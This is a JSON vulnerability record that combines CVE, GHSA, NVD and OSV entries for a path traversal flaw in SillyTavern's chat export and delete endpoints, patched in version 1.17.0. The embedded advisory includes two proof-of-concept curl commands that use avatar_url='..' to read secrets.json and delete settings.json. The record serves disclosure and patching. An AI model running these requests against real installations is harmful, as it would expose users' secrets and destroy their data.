{"id":"CVE-2026-34524","aliases":["EUVD-2026-18442","GHSA-vprr-q85p-79mf"],"status":"published","title":"SillyTavern: Path traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example secrets.json and settings.json) by supplying avatar_url=\"..\". This issue has been patched in version 1.17.0.","severity":{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.0058,"percentile":0.48029,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-04-01T21:41:48Z","modified":"2026-10-28T02:30:45Z","fixes":[{"ecosystem":"npm","package":"sillytavern","fixed_in":["1.17.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"sillytavern","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.16.0"},{"fixed":"1.17.0"}]}]},{"source":"osv","ecosystem":"npm","package":"sillytavern","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.17.0"}]}]}],"products":[{"vendor":"sillytavern","product":"sillytavern"}],"references":[{"url":"https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-vprr-q85p-79mf","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34524","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-vprr-q85p-79mf"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34524.json","tags":["advisory"]},{"url":"https://github.com/SillyTavern/SillyTavern","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-34524","title":"SillyTavern: Path traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example secrets.json and settings.json) by supplying avatar_url=\"..\". This issue has been patched in version 1.17.0.","status":"published","published":"2026-04-02T17:15:22.819Z","modified":"2026-04-03T18:12:52.047Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:20:14.302133Z"}],"euvd":[{"id":"EUVD-2026-18442","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example secrets.json and settings.json) by supplying avatar_url=\"..\". This issue has been patched in version 1.17.0.","status":"published","published":"2026-04-02T17:15:22Z","modified":"2026-04-03T18:12:52Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T19:25:16.550278Z"}],"ghsa":[{"id":"GHSA-vprr-q85p-79mf","title":"SillyTavern: Path Traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root","description":"## Summary\nA Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example `secrets.json` and `settings.json`) by supplying `avatar_url=\"..\"`.\n\n### Details\nThe input validator used by `avatar_url` blocks only `/` and NUL bytes, but does not block traversal segments like `..`.\n\nEvidence:\n- Weak validator regex (does not reject `..`):  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/middleware/validateFileName.js#L24-L27\u003e\n- Vulnerable delete path construction:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L575-L577\u003e\n- Vulnerable export path construction:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L595-L598\u003e\n- Endpoint auth context (authenticated user access):  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239\u003e\n\nBecause `avatar_url=\"..\"` is accepted, `path.join(\u003cuser\u003e/chats, \"..\")` resolves to `\u003cuser\u003e/`, enabling direct access to files outside the chats directory.\n\n### PoC\nPrerequisites:\n- Valid authenticated session cookie (`cookie.txt`)\n- Valid CSRF token (`$TOKEN`)\n\nRead sensitive file (`secrets.json`):\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" -H \"content-type: application/json\" \\\n  -d '{\"avatar_url\":\"..\",\"is_group\":false,\"file\":\"secrets.json\",\"format\":\"jsonl\",\"exportfilename\":\"x\"}' \\\n  http://TARGET:8000/api/chats/export\n```\n\nDelete sensitive file (`settings.json`):\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" -H \"content-type: application/json\" \\\n  -d '{\"avatar_url\":\"..\",\"chatfile\":\"settings.json\"}' \\\n  http://TARGET:8000/api/chats/delete\n```\n\n### Impact\n- Confidentiality: exposed per-user secrets and config data.\n- Integrity/Availability: attacker can delete critical per-user files and break account operation.\n- Risk is significant in multi-user or remotely reachable deployments.\n\n### Resolution\n\nThe issue was addressed in version 1.17.0","status":"published","published":"2026-04-01T21:41:48Z","modified":"2026-04-06T17:24:26Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:39:48.966685Z"}],"nvd":[{"id":"CVE-2026-34524","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example secrets.json and settings.json) by supplying avatar_url=\"..\". This issue has been patched in version 1.17.0.","status":"published","published":"2026-04-02T18:16:29.763Z","modified":"2026-07-24T21:10:00.143Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:12.73929Z"}],"osv":[{"id":"CVE-2026-34524","title":"SillyTavern: Path traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root","description":"SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example secrets.json and settings.json) by supplying avatar_url=\"..\". This issue has been patched in version 1.17.0.","status":"published","published":"2026-04-02T17:15:22.819Z","modified":"2026-10-28T02:30:45.625200494Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:45:02.247031Z"},{"id":"GHSA-vprr-q85p-79mf","title":"SillyTavern: Path Traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root","description":"## Summary\nA Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example `secrets.json` and `settings.json`) by supplying `avatar_url=\"..\"`.\n\n### Details\nThe input validator used by `avatar_url` blocks only `/` and NUL bytes, but does not block traversal segments like `..`.\n\nEvidence:\n- Weak validator regex (does not reject `..`):  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/middleware/validateFileName.js#L24-L27\u003e\n- Vulnerable delete path construction:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L575-L577\u003e\n- Vulnerable export path construction:  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L595-L598\u003e\n- Endpoint auth context (authenticated user access):  \n  \u003chttps://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239\u003e\n\nBecause `avatar_url=\"..\"` is accepted, `path.join(\u003cuser\u003e/chats, \"..\")` resolves to `\u003cuser\u003e/`, enabling direct access to files outside the chats directory.\n\n### PoC\nPrerequisites:\n- Valid authenticated session cookie (`cookie.txt`)\n- Valid CSRF token (`$TOKEN`)\n\nRead sensitive file (`secrets.json`):\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" -H \"content-type: application/json\" \\\n  -d '{\"avatar_url\":\"..\",\"is_group\":false,\"file\":\"secrets.json\",\"format\":\"jsonl\",\"exportfilename\":\"x\"}' \\\n  http://TARGET:8000/api/chats/export\n```\n\nDelete sensitive file (`settings.json`):\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" -H \"content-type: application/json\" \\\n  -d '{\"avatar_url\":\"..\",\"chatfile\":\"settings.json\"}' \\\n  http://TARGET:8000/api/chats/delete\n```\n\n### Impact\n- Confidentiality: exposed per-user secrets and config data.\n- Integrity/Availability: attacker can delete critical per-user files and break account operation.\n- Risk is significant in multi-user or remotely reachable deployments.\n\n### Resolution\n\nThe issue was addressed in version 1.17.0","status":"published","published":"2026-04-01T21:41:48Z","modified":"2026-04-06T17:36:56.254071Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:57.694388Z"}]}}